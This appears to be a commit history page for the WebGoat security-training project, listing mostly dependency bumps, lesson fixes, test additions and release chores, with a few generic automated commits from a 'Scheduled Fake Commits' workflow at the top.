Compare commits

...

1811 Commits

Author SHA1 Message Date
Author Two
c25bc7d7a6 Automated commit 2 by Author Two 2025-05-10 12:28:00 +00:00
Author One
953e7fd206 Automated commit 1 by Author One 2025-05-10 12:27:40 +00:00
e4cb868623 more test
All checks were successful
Scheduled Fake Commits / create_scheduled_commits (push) Successful in 36s
2025-05-10 08:24:45 -04:00
5efbd03d98 add release test
Some checks failed
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 13s
2025-05-10 08:21:54 -04:00
7fabcc7fd5 add release test
Some checks failed
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 20s
2025-05-10 08:15:08 -04:00
27ab9f89fa add release test
Some checks failed
Scheduled Fake Commits / create_scheduled_commits (push) Failing after 23s
2025-05-10 08:10:21 -04:00
dependabot[bot]
06c0be257f chore: bump org.jruby:jruby from 10.0.0.0 to 10.0.0.1 (#2123) 2025-05-07 21:08:52 +02:00
Nanne Baars
8b324b3954 chore: comment out script generation (#2120)
Not necessary to have this enabled while running WebGoat. Only helpful for development.
2025-05-05 20:17:09 +02:00
dependabot[bot]
cba4ff3d48 chore: bump com.diffplug.spotless:spotless-maven-plugin (#2111)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.44.3 to 2.44.4.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/maven/2.44.3...maven/2.44.4)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-version: 2.44.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 20:16:56 +02:00
dependabot[bot]
ca68d6bcf4 chore: bump org.apache.commons:commons-text from 1.13.0 to 1.13.1 (#2112)
Bumps org.apache.commons:commons-text from 1.13.0 to 1.13.1.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-text
  dependency-version: 1.13.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:41:50 +02:00
dependabot[bot]
f6990690de chore: bump docker/build-push-action from 6.15.0 to 6.16.0 (#2119)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.15.0 to 6.16.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.15.0...v6.16.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-version: 6.16.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:28:08 +02:00
dependabot[bot]
634162f279 chore: bump org.wiremock:wiremock-standalone from 3.12.1 to 3.13.0 (#2118)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.12.1 to 3.13.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.12.1...3.13.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-version: 3.13.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:27:59 +02:00
dependabot[bot]
9f77d74f3e chore: bump com.google.guava:guava from 33.4.7-jre to 33.4.8-jre (#2110)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.4.7-jre to 33.4.8-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-version: 33.4.8-jre
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:27:23 +02:00
dependabot[bot]
55ea361f45 chore: bump org.jruby:jruby from 9.4.12.0 to 10.0.0.0 (#2109)
Bumps org.jruby:jruby from 9.4.12.0 to 10.0.0.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-version: 10.0.0.0
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-05-05 19:27:12 +02:00
René Zubcevic
fc6c61397d set the browser language to pass the playwright tests if default lang of browser is not en (#2108) 2025-04-18 12:48:34 +02:00
Nanne Baars
f45bf6171b fix: remove mailing list references (#2097) 2025-04-02 07:22:38 +02:00
Nanne Baars
b3dec8bdc9 fix: challenge introduction page loads (#2095) 2025-03-31 22:49:26 +02:00
Nanne Baars
c3f9158eab chore: text cleanup 2025-03-31 21:38:33 +02:00
Nanne Baars
ec3b9e8aaf chore: update Java version in README (#2091)
Closes: gh-2072

* chore: add Maven wrapper jar file

This way we don't download it every time from a Maven repository saving some band with.

* chore: remove @authors tag
2025-03-31 21:05:15 +02:00
dependabot[bot]
9ec75d5a56 chore: bump org.apache.maven.plugins:maven-surefire-plugin (#2093)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.5.2 to 3.5.3.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.5.2...surefire-3.5.3)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-31 21:04:13 +02:00
dependabot[bot]
49dc370931 chore: bump com.google.guava:guava from 33.4.5-jre to 33.4.6-jre (#2094)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.4.5-jre to 33.4.6-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-31 21:04:02 +02:00
dependabot[bot]
1e1a8af39e chore: bump org.springframework.boot:spring-boot-starter-parent (#2081) 2025-03-29 16:00:18 +01:00
dependabot[bot]
451f5615d2 chore: bump io.github.bonigarcia:webdrivermanager from 5.9.3 to 6.0.0 (#2082) 2025-03-29 15:59:55 +01:00
dependabot[bot]
a4305f408e chore: bump com.google.guava:guava from 33.4.0-jre to 33.4.5-jre (#2083) 2025-03-29 15:59:42 +01:00
dependabot[bot]
7dea5a1bde chore: bump com.microsoft.playwright:playwright from 1.50.0 to 1.51.0 (#2084) 2025-03-29 15:59:29 +01:00
Geoffrey Tsai
8cd0b0a8c9 resolve the url for the developer tools network (#2087) 2025-03-29 15:59:09 +01:00
Geoffrey Tsai
72c09f7240 update the sql mitigation lessons 9 and 10 to contain the correct urls (#2077) 2025-03-21 14:15:19 +01:00
dependabot[bot]
d8c402f0d6 chore: bump docker/login-action from 3.3.0 to 3.4.0 (#2074)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.3.0 to 3.4.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.3.0...v3.4.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-20 12:30:50 +01:00
Nanne Baars
95136c9930 chore: update about page (#2070) 2025-03-12 06:59:01 +01:00
Nanne Baars
23d6fe6f36 fix: correct number of solved assignments in report card (#2065)
* fix: correct number of solved assignments in report card

Filter the list of assignments to accurately count the number of solved assignments.

Closes: gh-2063

* chore: remove scoreboard code

This is added when we run a CTF challenge during OWASP AppSecEU in 2017. We can remove this code.

Closes: gh-2064
2025-03-11 22:57:49 +01:00
Nanne Baars
2c5e4c4491 chore: use webgoat.org (#2066)
Closes: gh-2046
2025-03-11 22:47:02 +01:00
dependabot[bot]
c89fcb140a chore: bump org.jsoup:jsoup from 1.18.3 to 1.19.1 (#2058)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.18.3 to 1.19.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.18.3...jsoup-1.19.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-11 21:45:10 +01:00
dependabot[bot]
3cfd053c83 chore: bump org.wiremock:wiremock-standalone from 3.12.0 to 3.12.1 (#2059)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.12.0 to 3.12.1.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.12.0...3.12.1)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-11 21:44:45 +01:00
Nanne Baars
10adb1b05f chore: back to snapshot 2025-03-11 20:28:08 +01:00
Nanne Baars
c3ed45a733 chore: new release 2025.3 2025-03-11 20:16:10 +01:00
Nanne Baars
e2f80b18e2 fix: rewrite questions (#2057)
Closes: gh-1178
2025-03-11 20:05:35 +01:00
Nanne Baars
641f24df9d fix: update filtering internal endpoints in ZAP (#2055) 2025-03-08 12:40:09 +01:00
dependabot[bot]
3b3933b69e chore: bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 3.4.0 to 3.6.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v3.4.0...v3.6.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-05 16:55:56 +01:00
dependabot[bot]
05497371db chore: bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.14.0 to 6.15.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.14.0...v6.15.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-05 16:55:47 +01:00
Nanne Baars
32cf225d6b chore: back to snapshot 2025-03-02 20:47:20 +01:00
Nanne Baars
affa3f7a1c chore: release 2025.2 2025-03-02 20:37:33 +01:00
Nanne Baars
e9f79cc739 fix: SQL advanced assignment 5 (#2047)
- Add and show correct hints
- Fix solving the lesson immediately when you register as tom. Now uses `informationMessage` to display a message in the UI
- Add Playwright test

Closes: gh-2045
2025-03-02 20:31:05 +01:00
Nanne Baars
c37a8e8c19 chore: back to snapshot 2025-03-01 17:16:13 +01:00
Nanne Baars
5eeeee1e66 chore: extend create release documentation 2025-03-01 17:14:59 +01:00
Nanne Baars
0d4cc06342 chore: new release 2025.1 2025-03-01 16:38:56 +01:00
Nanne Baars
1d74727db6 chore: new release 2025.0 2025-03-01 16:03:06 +01:00
dependabot[bot]
957cd161f2 chore: bump org.wiremock:wiremock-standalone from 3.11.0 to 3.12.0 (#2026)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.11.0 to 3.12.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.11.0...3.12.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-01 11:01:46 +01:00
Nanne Baars
16b7a13de8 chore: add test case for multiple users solving lessons (#2043) 2025-02-28 20:56:15 +01:00
Nanne Baars
95dcc56a19 fix: register user while already logged in as other user. (#2042) 2025-02-28 20:56:00 +01:00
Nanne Baars
55bd0a49db chore: cleanup IT tests (#2040) 2025-02-28 18:39:23 +01:00
dependabot[bot]
b5af30c819 chore: bump docker/build-push-action from 6.13.0 to 6.14.0 (#2033) 2025-02-27 18:35:10 +01:00
dependabot[bot]
3d4780d7e0 chore: bump org.testcontainers:testcontainers from 1.20.4 to 1.20.5 (#2034) 2025-02-27 18:34:58 +01:00
dependabot[bot]
92d4981b90 chore: bump com.diffplug.spotless:spotless-maven-plugin (#2035) 2025-02-27 18:34:47 +01:00
dependabot[bot]
8166b10c1a chore: bump org.testcontainers:junit-jupiter from 1.20.4 to 1.20.5 (#2036) 2025-02-27 18:34:36 +01:00
dependabot[bot]
6d1ebadf85 chore: bump org.springframework.boot:spring-boot-starter-parent (#2037) 2025-02-27 18:34:24 +01:00
dependabot[bot]
9572a7b840 chore: bump com.microsoft.playwright:playwright from 1.49.0 to 1.50.0 (#2025) 2025-02-22 20:55:35 +01:00
dependabot[bot]
6c16d4ccfc chore: bump io.github.bonigarcia:webdrivermanager from 5.9.2 to 5.9.3 (#2027) 2025-02-22 20:55:07 +01:00
dependabot[bot]
93c3f19ca7 chore: bump org.jruby:jruby from 9.4.11.0 to 9.4.12.0 (#2028) 2025-02-22 20:54:55 +01:00
dependabot[bot]
fadb07d73e chore: bump devops-infra/action-pull-request from 0.5.5 to 0.6.0 (#2029) 2025-02-22 20:54:44 +01:00
dependabot[bot]
f66126e53d chore: bump devops-infra/action-commit-push from 0.9.2 to 0.10.0 (#2030) 2025-02-22 20:54:32 +01:00
Nanne Baars
c3c520f487 refactor: small updates and improvements in HTTP Basic lesson (#2024)
* refactor: cleanup attack result and builder

* refactor: solve compiler warnings

* feature: improve HTTP basics lesson

Closes: #494
2025-02-18 14:26:21 +01:00
Nanne Baars
00f3538be2 chore: format all code according to SPDX (#2023) 2025-02-16 19:48:05 +01:00
dependabot[bot]
2a5b4385ea chore: bump com.diffplug.spotless:spotless-maven-plugin (#2006)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.41.1 to 2.44.2.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/maven/2.41.1...maven/2.44.2)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 19:52:40 +01:00
dependabot[bot]
79ac5b7b99 chore: bump docker/build-push-action from 6.12.0 to 6.13.0 (#2012)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.12.0 to 6.13.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.12.0...v6.13.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:37 +01:00
dependabot[bot]
8638d94595 chore: bump org.springframework.boot:spring-boot-starter-parent (#2013)
Bumps [org.springframework.boot:spring-boot-starter-parent](https://github.com/spring-projects/spring-boot) from 3.4.1 to 3.4.2.
- [Release notes](https://github.com/spring-projects/spring-boot/releases)
- [Commits](https://github.com/spring-projects/spring-boot/compare/v3.4.1...v3.4.2)

---
updated-dependencies:
- dependency-name: org.springframework.boot:spring-boot-starter-parent
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:26 +01:00
dependabot[bot]
3ef5e34dd0 chore: bump org.jruby:jruby from 9.4.9.0 to 9.4.11.0 (#2017)
Bumps org.jruby:jruby from 9.4.9.0 to 9.4.11.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:09 +01:00
dependabot[bot]
019ab0495f chore: bump com.auth0:java-jwt from 4.4.0 to 4.5.0 (#2018)
Bumps [com.auth0:java-jwt](https://github.com/auth0/java-jwt) from 4.4.0 to 4.5.0.
- [Release notes](https://github.com/auth0/java-jwt/releases)
- [Changelog](https://github.com/auth0/java-jwt/blob/master/CHANGELOG.md)
- [Commits](https://github.com/auth0/java-jwt/compare/4.4.0...4.5.0)

---
updated-dependencies:
- dependency-name: com.auth0:java-jwt
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:59 +01:00
dependabot[bot]
2aeee521ab chore: bump org.wiremock:wiremock-standalone from 3.10.0 to 3.11.0 (#2019)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.10.0 to 3.11.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.10.0...3.11.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:49 +01:00
dependabot[bot]
b940e5ce58 chore: bump docker/setup-qemu-action from 3.3.0 to 3.4.0 (#2022)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 3.3.0 to 3.4.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v3.3.0...v3.4.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:38 +01:00
Nanne Baars
9c90a24cc0 docs(CSRFFeedback.java): fixed one invalid solution about CSRF attack (#2010)
Co-authored-by: HackHuang <GoogTech@outlook.com>
Co-authored-by: HackHuang <hi@goog.tech>
2025-01-26 20:23:40 +01:00
dependabot[bot]
2ac50bfbd8 chore: bump docker/build-push-action from 6.11.0 to 6.12.0 (#2005)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.11.0 to 6.12.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.11.0...v6.12.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-01-26 19:18:25 +01:00
Nanne Baars
d96dbe2edf fix: build failure 2025-01-26 18:47:10 +01:00
Nanne Baars
8e45316638 feat: Introduce Playwright for UI testing
Instead of using Robot Framework which does not run during a `mvn install`. Playwright seems to be the better approach. We can now write them as normal JUnit test and they are executed during a build.

Additionally this PR solves some interesting bugs found during writing Playwright tests:

- A reset of a lesson removes all assignments as a result another user wouldn't see any assignments
- If someone solves an assignment the assignment automatically got solved for a new user since the assignment included the `solved` flag which immediately got copied to new lesson progress.
- Introduction of assignment progress linking a assignment not directly to all users.
2025-01-26 16:59:59 +01:00
dependabot[bot]
9d5ab5fb21 chore: bump docker/setup-qemu-action from 3.1.0 to 3.3.0 (#2000) 2025-01-14 23:33:20 +01:00
dependabot[bot]
aee7abc6b7 chore: bump docker/build-push-action from 6.10.0 to 6.11.0 (#2001) 2025-01-14 23:32:04 +01:00
Nanne Baars
06e2fdbd33 refactor: use symbolic link for Java (#1996) 2025-01-12 16:17:45 +01:00
dependabot[bot]
02f43c54d0 chore: bump org.springframework.boot:spring-boot-starter-parent (#1994) 2024-12-25 11:00:53 +01:00
dependabot[bot]
19f4f8dc46 chore: bump com.google.guava:guava from 33.3.1-jre to 33.4.0-jre (#1995) 2024-12-25 11:00:37 +01:00
Nanne Baars
112ca3ab22 fix: enable resource patterns again (#1993)
`LessonScanner.java` got removed by mistake.

Closes: gh-1992
2024-12-21 18:47:30 +01:00
Nanne Baars
0244655409 feat: Move to Java 23
Closes: gh-1990
2024-12-21 14:16:33 +01:00
dependabot[bot]
a95213757d chore: bump org.springframework.boot:spring-boot-starter-parent from 3.3.5 to 3.4.0 (#1962) 2024-12-16 20:16:10 +01:00
dependabot[bot]
6d90852c1f chore: bump org.apache.commons:commons-text from 1.12.0 to 1.13.0 (#1986) 2024-12-16 20:15:53 +01:00
Nanne Baars
4f8652758c refactor: remove unused code (#1985) 2024-12-15 13:06:49 +01:00
Nanne Baars
5fc2e0602c refactor: move plugin messages (#1968) 2024-12-03 22:13:44 +01:00
dependabot[bot]
f3c7f4588b chore: bump docker/build-push-action from 6.9.0 to 6.10.0 (#1969) 2024-12-03 22:13:24 +01:00
dependabot[bot]
119b84d034 chore: bump org.wiremock:wiremock-standalone from 3.9.2 to 3.10.0 (#1970) 2024-12-03 22:13:11 +01:00
dependabot[bot]
afd951228d chore: bump org.jsoup:jsoup from 1.18.1 to 1.18.3 (#1971) 2024-12-03 22:13:00 +01:00
Jeong Rok Suh
51e3f59054 fix: Hint labels showing default text regardless of localization (#1965) 2024-11-26 23:34:09 +01:00
dependabot[bot]
cc0efd8600 chore: bump commons-io:commons-io from 2.17.0 to 2.18.0 (#1961) 2024-11-26 23:21:10 +01:00
dependabot[bot]
e29dccf3c9 chore: bump org.testcontainers:junit-jupiter from 1.20.3 to 1.20.4 (#1963) 2024-11-26 23:20:25 +01:00
dependabot[bot]
0cf861fb3c chore: bump org.testcontainers:testcontainers from 1.20.3 to 1.20.4 (#1964) 2024-11-26 23:20:11 +01:00
Nanne Baars
d8100385b6 fix: automatically solve XSS mitigation (#1957)
This PR moves the mitigation Java class into the correct package.

The lesson was automatically solved because no assignments were found.

Closes: #1943
2024-11-14 08:42:55 +01:00
Nanne Baars
4880afa0e3 fix: remove implicit context path guessing (#1956)
Pass the context-path in the assignment overview so the frontend can easily match an assignment.
2024-11-13 21:32:28 +01:00
dependabot[bot]
e60ca6ce72 chore: bump org.jruby:jruby from 9.4.8.0 to 9.4.9.0 (#1954) 2024-11-11 13:46:45 +01:00
dependabot[bot]
88a763f513 chore: bump org.testcontainers:junit-jupiter from 1.20.1 to 1.20.3 (#1946)
Bumps [org.testcontainers:junit-jupiter](https://github.com/testcontainers/testcontainers-java) from 1.20.1 to 1.20.3.
- [Release notes](https://github.com/testcontainers/testcontainers-java/releases)
- [Changelog](https://github.com/testcontainers/testcontainers-java/blob/main/CHANGELOG.md)
- [Commits](https://github.com/testcontainers/testcontainers-java/compare/1.20.1...1.20.3)

---
updated-dependencies:
- dependency-name: org.testcontainers:junit-jupiter
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 16:13:27 +01:00
dependabot[bot]
7f33d3609f chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1948)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.5.1 to 3.5.2.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.5.1...surefire-3.5.2)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 16:13:10 +01:00
dependabot[bot]
bf02077427 chore: bump org.wiremock:wiremock-standalone from 3.9.1 to 3.9.2 (#1947)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.9.1 to 3.9.2.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.9.1...3.9.2)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 15:46:43 +01:00
Nanne Baars
e1e00bca73 fix: JWT kid/jku lessons (#1949)
* refactor: rewrite hints

Use active voice and fix grammar issues.

* fix: use Thymeleaf `th:action`

* fix: JWT kid/jku lessons

Split the JavaScript into two files they pointed to the same URL

The JWTs are now valid, they parse successfully.

The paths now include `/kid` and `/jku` to make sure the hints match accordingly in the UI. Otherwise `/delete` would pick up both hints from both assignments as the paths overlap.

Closes: #1715

* fix: update to latest pre-commit version

* fix: increase timeouts for server to start during integration tests
2024-11-07 15:45:33 +01:00
Nanne Baars
d59153d6d7 Fix password reset lesson (#1941)
* docs: improve text

* fix: use correct POST url
2024-10-29 17:32:51 +01:00
dependabot[bot]
87fae00f03 chore: bump commons-io:commons-io from 2.16.1 to 2.17.0 (#1937)
Bumps commons-io:commons-io from 2.16.1 to 2.17.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-29 16:30:32 +01:00
Nanne Baars
3f6a74ad86 chore(gh-actions): update dependency 2024-10-28 22:02:02 +01:00
Nanne Baars
1d37ee0877 ci: run pre-commit checks first
Create a dependency between the jobs.
2024-10-28 21:59:10 +01:00
Nanne Baars
4f6ab25ebd ci: run pre-commit checks first 2024-10-28 21:57:43 +01:00
dependabot[bot]
af687e71fe chore: bump com.google.guava:guava from 33.3.0-jre to 33.3.1-jre (#1939) 2024-10-28 20:02:09 +01:00
dependabot[bot]
83ed4c3d5c chore: bump org.testcontainers:testcontainers from 1.20.1 to 1.20.3 (#1935) 2024-10-28 15:05:33 +01:00
dependabot[bot]
62cdfd0824 chore: bump com.github.terma:javaniotcpproxy from 1.5 to 1.6 (#1936) 2024-10-28 15:04:15 +01:00
dependabot[bot]
e7457f4821 chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1938) 2024-10-28 15:04:01 +01:00
Nanne Baars
4efaf87c7e Fix passing command line arguments (#1933)
* fix: use banners correctly

* fix: passing command line arguments

Since we already have `webwolf.port` it makes sense to also define `webwolf.port` explicitly and not rely on `server.port`

Closes: #1910
2024-10-27 08:39:02 +01:00
dependabot[bot]
cf5101a633 chore: bump org.asciidoctor:asciidoctorj from 2.5.13 to 3.0.0 (#1897) 2024-10-26 22:53:43 +02:00
Nanne Baars
3f049ba53a Nbaars/1886 (#1932)
* improved code readbility

* chore: format code

---------

Co-authored-by: guilherme peixoto <peixoto-guilherme7@hotmail.com>
2024-10-26 22:18:28 +02:00
dependabot[bot]
7e294fbdb5 chore: bump org.apache.commons:commons-compress from 1.26.2 to 1.27.1 (#1884) 2024-10-26 19:27:07 +02:00
dependabot[bot]
2177eb663a chore: bump docker/build-push-action from 6.7.0 to 6.9.0 (#1920) 2024-10-26 16:59:13 +02:00
François Capon
50692300eb docs: Show boolean operators priority on where (#1902) 2024-10-26 14:48:50 +02:00
dependabot[bot]
e2c2d425cb chore: bump actions/cache from 4.0.2 to 4.1.1 (#1925) 2024-10-26 14:25:04 +02:00
dependabot[bot]
6bbd3cb66b chore: bump org.springframework.boot:spring-boot-starter-parent (#1931) 2024-10-26 14:20:14 +02:00
Nanne Baars
d08a56d351 chore: add test for solving same lesson as different user. (#1930)
We removed the constraint but did not add an extra testcase to cover this bug.

Closes: #1890
2024-10-26 12:06:30 +02:00
dependabot[bot]
ec97568ec2 chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1922)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.3.1 to 3.5.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.3.1...surefire-3.5.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

